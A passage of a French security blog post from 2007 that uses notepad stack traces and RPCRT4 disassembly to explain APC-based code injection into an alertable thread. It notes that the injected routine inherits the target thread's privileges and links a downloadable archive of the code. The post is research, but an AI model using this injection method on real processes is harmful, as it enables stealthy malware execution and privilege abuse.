0007D51C   77E64D5C   ? RPCRT4.77E64D85                     RPCRT4.77E64D57               0007D518
0007D580   77E600AC   RPCRT4.77E600DC                       RPCRT4.77E600A7               0007D57C
0007D5B0   77E58DC9   Includes RPCRT4.77E600AC              RPCRT4.77E58DC6               0007D5AC
0007D5C8   77E58E00   RPCRT4.I_RpcGetBufferWithObject       RPCRT4.77E58DFB               0007D5C4
0007D5D8   77E5942D   RPCRT4.I_RpcGetBuffer                 RPCRT4.77E59428               0007D5D4
0007D5E8   77ED360B   ? RPCRT4.NdrGetBuffer                 RPCRT4.77ED3606               0007D5E4
0007D9C8   77DB1CD0   ?         ADVAPI32.77DB1CCB             0007D9C4
0007D9DC   77DB1C52   ADVAPI32.77DB1CB5                     ADVAPI32.77DB1C4D             0007D9D8
0007DA30   77DCCB54   ? ADVAPI32.LsaOpenPolicy              ADVAPI32.77DCCB4F             0007DA2C
0007DA84   778E8FEB   Includes ADVAPI32.77DCCB54            778E8FE9                      0007DA80
0007DAA4   778EA005   778EA091                              778EA000                      0007DAA0
0007DAD4   778E9068   ? 778E9FE8                            778E9063                      0007DAD0
0007DB18   7CA0F5AE   ? 778E902D                            SHELL32.7CA0F5A8              0007DB14
0007DB98   7CA0F54C   SHELL32.7CA0F581                      SHELL32.7CA0F547              0007DB94
0007DBB0   7CA0F425   SHELL32.7CA0F4FB                      SHELL32.7CA0F420              0007DBAC
0007DBD0   7CA0F4F1   SHELL32.7CA0F3D9                      SHELL32.7CA0F4EC              0007DBCC
0007DBF8   7C9FA276   SHELL32.7C9FA29D                      SHELL32.7C9FA271              0007DBF4
0007DC14   7CA00019   SHELL32.7C9FA230                      SHELL32.7CA00014              0007DC10
0007DC48   7C9FDF0F   SHELL32.7C9FE3E1                      SHELL32.7C9FDF0A              0007DC44
0007DCAC   7C9FDE50   Includes SHELL32.7C9FDF0F             SHELL32.7C9FDE4D              0007DCA8
0007DD14   7C9FE07B   Includes SHELL32.7C9FDE50             SHELL32.7C9FE078              0007DD10
0007DD3C   7C9FE019   SHELL32.7C9FE059                      SHELL32.7C9FE014              0007DD38

Là notre APC sera exécuté car le thread va devenir Alertable.
Ha on me dit dans l’oreillette qu’on y comprend rien, éclaircissons tout cela :)

C:\ProgHack\c>StackWatcher notepad.exe

Thread ID : 2232
0x77e60a64 : RPCRT4!UTIL_GetOverlappedResultEx+0x1d
0x77e65263 : RPCRT4!CO_SyncRecv+0x71
0x77e60833 : RPCRT4!OSF_CCONNECTION::TransSendReceive+0x9d
0x77e6553d : RPCRT4!OSF_CCONNECTION::SendBindPacket+0x575
0x77e65372 : RPCRT4!OSF_CCONNECTION::ActuallyDoBinding+0xa6
0x77e64beb : RPCRT4!OSF_CCONNECTION::OpenConnectionAndBind+0x20f
0x77e64d85 : RPCRT4!OSF_CCALL::BindToServer+0xed
0x77e600dc : RPCRT4!OSF_BINDING_HANDLE::AllocateCCall+0x2b0
0x77e60084 : RPCRT4!OSF_BINDING_HANDLE::NegotiateTransferSyntax+0x28
0x77e58d81 : RPCRT4!I_RpcGetBufferWithObject+0x5b
0x77e58df1 : RPCRT4!I_RpcGetBuffer+0xf
0x77e59405 : RPCRT4!NdrGetBuffer+0x28
0x77ed34d0 : RPCRT4!NdrClientCall2+0x195
0x77db1cb5 : ADVAPI32!LsarOpenPolicy2+0x1b
0x77db1c0f : ADVAPI32!LsaOpenPolicy+0x95
0x77dccaf6 : ADVAPI32!LookupPrivilegeValueW+0x66
0x778ea091 : SETUPAPI!EnablePnPPrivileges+0x2d
0x778e9fe8 : SETUPAPI!PnPGetGlobalHandles+0x1d
0x778e902d : SETUPAPI!CM_Get_Device_Interface_List_Size_ExW+0x45
0x7ca0f581 : SHELL32!CMountPoint::_EnumVolumes+0xc5
0x7ca0f4fb : SHELL32!CMountPoint::_InitLocalDriveHelper+0x52
0x7ca0f3d9 : SHELL32!CMountPoint::_InitLocalDrives+0xc8
0x7c9fa29d : SHELL32!CMountPoint::_GetMountPointDL+0x48
0x7c9fa230 : SHELL32!CMountPoint::GetMountPoint+0x46
0x7c9fe3e1 : SHELL32!CDrivesFolder::_FillIDDrive+0x5c
0x7c9fde70 : SHELL32!CDrivesFolder::ParseDisplayName+0x9f
0x7c9fdddf : SHELL32!CRegFolder::ParseDisplayName+0x93
0x7c9fe059 : SHELL32!CDesktopFolder::_ChildParseDisplayName+0x22
0x7c9fdf96 : SHELL32!CDesktopFolder::ParseDisplayName+0x7e
0x7c9fdddf : SHELL32!CRegFolder::ParseDisplayName+0x93
0x7c9fdd09 : SHELL32!SHParseDisplayName+0xa3
0x7c9fe2f9 : SHELL32!ILCreateFromPathEx+0x3d
0x7ca01b98 : SHELL32!_CreateFolderIDList+0x102
0x7c9ff293 : SHELL32!_GetFolderIDListCached+0x84
0x7c9ff3ed : SHELL32!SHGetFolderLocation+0x9e
0x7c9ff46f : SHELL32!SHGetSpecialFolderLocation+0x17
0x7634545c : comdlg32!CFileOpenBrowser::InitLookIn+0x51
0x763436d1 : comdlg32!InitLocation+0x102
0x763425e4 : comdlg32!OpenDlgProc+0x3af
0x77d1870c : USER32!InternalCallWinProc+0x28
0x77d240d8 : USER32!UserCallDlgProcCheckWow+0x146
0x77d23f5a : USER32!DefDlgProcWorker+0xa8
0x77d1b7d3 : USER32!SendMessageWorker+0x448
0x77d24956 : USER32!InternalCreateDialog+0x9df
0x77d26110 : USER32!InternalDialogBox+0xa9
0x77d261d2 : USER32!DialogBoxIndirectParamAorW+0x37
0x77d32043 : USER32!DialogBoxIndirectParamW+0x1b
0x763433ee : comdlg32!NewGetFileName+0x240
0x763433d6 : comdlg32!NewGetOpenFileName+0xf
0x76343324 : comdlg32!GetFileName+0x35d
0x76357c65 : comdlg32!GetOpenFileNameW+0x62 <---LOL !
0x1002b87 : notepad!NPCommand+0x202
0x1003429 : notepad!NPWndProc+0x4fe
0x77d1870c : USER32!InternalCallWinProc+0x28
0x77d1875f : USER32!UserCallWinProcCheckWow+0x150
0x77d188f1 : USER32!DispatchMessageWorker+0x306
0x77d18a01 : USER32!DispatchMessageW+0xf
0x1002936 : notepad!WinMain+0xdc
0x100739d : notepad!WinMainCRTStartup+0x174

Ha c’est beaucoup mieux, si on regarde dans RPC4CRT.dll à la fonction CO_SyncRecv :

push    [ebp+dwMilliseconds] ; dwMilliseconds
lea     eax, [ebp+arg_0]
push    1               ; bAlertable <-- W00T :}
push    eax             ; int
lea     eax, [esi+34h]
push    eax             ; int
push    esi             ; int
call    ?UTIL_GetOverlappedResultEx@@YGJPAXPAU_OVERLAPPED@@PAKHK@Z

Je rappel juste pour ceux dont le cerveau aurait BSOD que c’est la fonction GetOpenFileNameW qui est appelé quand on fait Fichier->Ouvrir :p

Bref une technique marrante qui à l’avantage de ne pas crée de nouveau thread. De plus si le thread visé tourne avec des privilèges supérieur alors votre routine, si elle est lancée, les aura aussi :]

Le code/binaire ici :
http://ivanlef0u.fr/repo/APC.rar

Enjoy !

ps : Ce post n’est pas un toto d’avril :p

Add comment avril 1st, 2007


Calendar

avril 2007
L Ma Me J V S D
« mar   mai »
 1
2345678
9101112131415
16171819202122
23242526272829
30  

Posts by Month

Posts by Category